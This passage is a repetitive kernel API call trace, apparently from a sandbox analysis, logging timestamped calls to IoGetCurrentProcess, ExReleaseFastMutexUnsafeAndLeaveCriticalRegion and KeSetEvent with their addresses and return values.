ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0193.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0193.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0193.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.393] IoGetCurrentProcess () returned 0xffffe00001078440 [0194.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.394] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0194.801] IoGetCurrentProcess () returned 0xffffe00001078440 [0194.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.802] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.802] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0194.864] IoGetCurrentProcess () returned 0xffffe00001078440 [0194.865] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.865] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.865] IoGetCurrentProcess () returned 0xffffe00001078440 [0194.865] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.865] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.925] IoGetCurrentProcess () returned 0xffffe00001078440 [0194.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.925] IoGetCurrentProcess () returned 0xffffe00001078440 [0194.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.987] IoGetCurrentProcess () returned 0xffffe00001078440 [0194.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.988] IoGetCurrentProcess () returned 0xffffe00001078440 [0194.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.112] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.113] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.176] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.176] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.176] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.176] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.301] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.302] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.383] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.383] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.442] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.569] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.569] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0195.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.412] IoGetCurrentProcess () returned 0xffffe00001078440 [0197.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.413] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0197.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0197.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0197.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.535] IoGetCurrentProcess () returned 0xffffe00001078440 [0197.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.535] IoGetCurrentProcess () returned 0xffffe00001078440 [0197.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0197.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0197.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0197.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.660] IoGetCurrentProcess () returned 0xffffe00001078440 [0197.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.425] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0198.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.692] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.879] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.879] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0198.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.004] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.379] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.442] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.443] IoGetCurrentProcess () returned 0xffffe00001078440 [0199.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.410] IoGetCurrentProcess () returned 0xffffe00001078440 [0200.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.411] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0200.473] IoGetCurrentProcess () returned 0xffffe00001078440 [0200.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.473] IoGetCurrentProcess () returned 0xffffe00001078440 [0200.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.474] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.536] IoGetCurrentProcess () returned 0xffffe00001078440 [0200.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.537] IoGetCurrentProcess () returned 0xffffe00001078440 [0200.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0200.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0200.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0200.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.660] IoGetCurrentProcess () returned 0xffffe00001078440 [0200.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0201.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0201.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0201.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0201.535] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0202.550] IoGetCurrentProcess () returned 0xffffe00001078440 [0202.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0202.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0202.550] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0203.258] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.259] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0203.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.379] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.379] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.568] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.568] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.569] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.653] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.653] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0203.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.707] 